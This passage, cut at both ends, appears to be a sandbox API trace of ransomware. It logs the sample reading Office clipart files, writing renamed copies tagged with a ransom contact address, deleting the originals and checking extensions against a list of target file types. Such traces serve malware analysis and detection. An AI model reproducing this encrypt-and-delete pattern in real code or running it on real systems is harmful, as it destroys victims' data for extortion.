lpNumberOfBytesWritten=0x2a3fc9c*=0x66e0, lpOverlapped=0x0) returned 1 [0055.849] ReadFile (in: hFile=0x1cc, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.849] WriteFile (in: hFile=0x1fc, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.849] SetEndOfFile (hFile=0x1fc) returned 1 [0055.849] CloseHandle (hObject=0x1fc) returned 1 [0055.849] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.849] SetEndOfFile (hFile=0x1cc) returned 1 [0055.850] CloseHandle (hObject=0x1cc) returned 1 [0055.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0055.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.851] lstrlenW (lpString=".doc") returned 4 [0055.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.851] lstrlenW (lpString=".docx") returned 5 [0055.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.851] lstrlenW (lpString=".pdf") returned 4 [0055.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.851] lstrlenW (lpString=".xls") returned 4 [0055.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.851] lstrlenW (lpString=".xlsx") returned 5 [0055.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.851] lstrlenW (lpString=".ppt") returned 4 [0055.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.851] lstrlenW (lpString=".zip") returned 4 [0055.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.851] lstrlenW (lpString=".rar") returned 4 [0055.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.851] lstrlenW (lpString=".bz2") returned 4 [0055.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.851] lstrlenW (lpString=".7z") returned 3 [0055.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.851] lstrlenW (lpString=".dbf") returned 4 [0055.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.851] lstrlenW (lpString=".1cd") returned 4 [0055.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.852] lstrlenW (lpString=".jpg") returned 4 [0055.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.852] lstrlenW (lpString=".doc") returned 4 [0055.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.852] lstrlenW (lpString=".docx") returned 5 [0055.852] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.852] lstrlenW (lpString=".pdf") returned 4 [0055.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.852] lstrlenW (lpString=".xls") returned 4 [0055.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.852] lstrlenW (lpString=".xlsx") returned 5 [0055.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.852] lstrlenW (lpString=".ppt") returned 4 [0055.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.852] lstrlenW (lpString=".zip") returned 4 [0055.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.852] lstrlenW (lpString=".rar") returned 4 [0055.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.852] lstrlenW (lpString=".bz2") returned 4 [0055.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.852] lstrlenW (lpString=".7z") returned 3 [0055.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.852] lstrlenW (lpString=".dbf") returned 4 [0055.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.852] lstrlenW (lpString=".1cd") returned 4 [0055.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0055.852] lstrlenW (lpString=".jpg") returned 4 [0055.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.853] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.853] lstrlenW (lpString="AN02122_.WMF") returned 12 [0055.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.126] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=7540) returned 1 [0057.127] CloseHandle (hObject=0x168) returned 1 [0057.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0057.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.127] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.127] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0057.127] GetLastError () returned 0x0 [0057.127] ReadFile (in: hFile=0x168, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x1d74, lpOverlapped=0x0) returned 1 [0057.131] WriteFile (in: hFile=0x22c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0057.132] ReadFile (in: hFile=0x168, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.132] WriteFile (in: hFile=0x22c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.132] SetEndOfFile (hFile=0x22c) returned 1 [0057.132] CloseHandle (hObject=0x22c) returned 1 [0057.133] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.133] SetEndOfFile (hFile=0x168) returned 1 [0057.133] CloseHandle (hObject=0x168) returned 1 [0057.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0057.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.134] lstrlenW (lpString=".doc") returned 4 [0057.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.134] lstrlenW (lpString=".docx") returned 5 [0057.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.134] lstrlenW (lpString=".pdf") returned 4 [0057.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.134] lstrlenW (lpString=".xls") returned 4 [0057.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.134] lstrlenW (lpString=".xlsx") returned 5 [0057.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.134] lstrlenW (lpString=".ppt") returned 4 [0057.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.134] lstrlenW (lpString=".zip") returned 4 [0057.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.134] lstrlenW (lpString=".rar") returned 4 [0057.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.134] lstrlenW (lpString=".bz2") returned 4 [0057.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.134] lstrlenW (lpString=".7z") returned 3 [0057.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.135] lstrlenW (lpString=".dbf") returned 4 [0057.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.135] lstrlenW (lpString=".1cd") returned 4 [0057.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.135] lstrlenW (lpString=".jpg") returned 4 [0057.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.135] lstrlenW (lpString=".doc") returned 4 [0057.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.135] lstrlenW (lpString=".docx") returned 5 [0057.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.135] lstrlenW (lpString=".pdf") returned 4 [0057.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.135] lstrlenW (lpString=".xls") returned 4 [0057.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.135] lstrlenW (lpString=".xlsx") returned 5 [0057.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.135] lstrlenW (lpString=".ppt") returned 4 [0057.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.135] lstrlenW (lpString=".zip") returned 4 [0057.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.135] lstrlenW (lpString=".rar") returned 4 [0057.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.135] lstrlenW (lpString=".bz2") returned 4 [0057.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.135] lstrlenW (lpString=".7z") returned 3 [0057.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.135] lstrlenW (lpString=".dbf") returned 4 [0057.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.136] lstrlenW (lpString=".1cd") returned 4 [0057.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0057.136] lstrlenW (lpString=".jpg") returned 4 [0057.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.136] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.136] lstrlenW (lpString="AN04267_.WMF") returned 12 [0057.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.136] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=7804) returned 1 [0057.136] CloseHandle (hObject=0x168) returned 1 [0057.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0057.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.136] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.137] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0057.137] GetLastError () returned 0x0 [0057.137] ReadFile (in: hFile=0x168, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0057.138] WriteFile (in: hFile=0x22c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0057.139] ReadFile (in: hFile=0x168, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.139] WriteFile (in: hFile=0x22c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.139] SetEndOfFile (hFile=0x22c) returned 1 [0057.140] CloseHandle (hObject=0x22c) returned 1 [0057.140] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.140] SetEndOfFile (hFile=0x168) returned 1 [0057.141] CloseHandle (hObject=0x168) returned 1 [0057.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0057.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.143] lstrlenW (lpString=".doc") returned 4 [0057.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.143] lstrlenW (lpString=".docx") returned 5 [0057.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.143] lstrlenW (lpString=".pdf") returned 4 [0057.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.144] lstrlenW (lpString=".xls") returned 4 [0057.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.144] lstrlenW (lpString=".xlsx") returned 5 [0057.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.144] lstrlenW (lpString=".ppt") returned 4 [0057.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.144] lstrlenW (lpString=".zip") returned 4 [0057.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.144] lstrlenW (lpString=".rar") returned 4 [0057.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.144] lstrlenW (lpString=".bz2") returned 4 [0057.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.144] lstrlenW (lpString=".7z") returned 3 [0057.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.144] lstrlenW (lpString=".dbf") returned 4 [0057.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.144] lstrlenW (lpString=".1cd") returned 4 [0057.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.144] lstrlenW (lpString=".jpg") returned 4 [0057.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.144] lstrlenW (lpString=".doc") returned 4 [0057.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.144] lstrlenW (lpString=".docx") returned 5 [0057.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.144] lstrlenW (lpString=".pdf") returned 4 [0057.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.144] lstrlenW (lpString=".xls") returned 4 [0057.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.145] lstrlenW (lpString=".xlsx") returned 5 [0057.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.145] lstrlenW (lpString=".ppt") returned 4 [0057.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.145] lstrlenW (lpString=".zip") returned 4 [0057.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.145] lstrlenW (lpString=".rar") returned 4 [0057.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.145] lstrlenW (lpString=".bz2") returned 4 [0057.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.145] lstrlenW (lpString=".7z") returned 3 [0057.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.145] lstrlenW (lpString=".dbf") returned 4 [0057.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.145] lstrlenW (lpString=".1cd") returned 4 [0057.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0057.145] lstrlenW (lpString=".jpg") returned 4 [0057.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.145] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.145] lstrlenW (lpString="AN04269_.WMF") returned 12 [0057.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.146] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2016) returned 1 [0057.146] CloseHandle (hObject=0x168) returned 1 [0057.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0057.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.146] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.146] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0057.146] GetLastError () returned 0x0 [0057.146] ReadFile (in: hFile=0x168, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x7e0, lpOverlapped=0x0) returned 1 [0057.148] WriteFile (in: hFile=0x22c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0057.148] ReadFile (in: hFile=0x168, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.148] WriteFile (in: hFile=0x22c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.149] SetEndOfFile (hFile=0x22c) returned 1 [0057.149] CloseHandle (hObject=0x22c) returned 1 [0057.149] SetFilePointerEx (in: hFile=0x168, 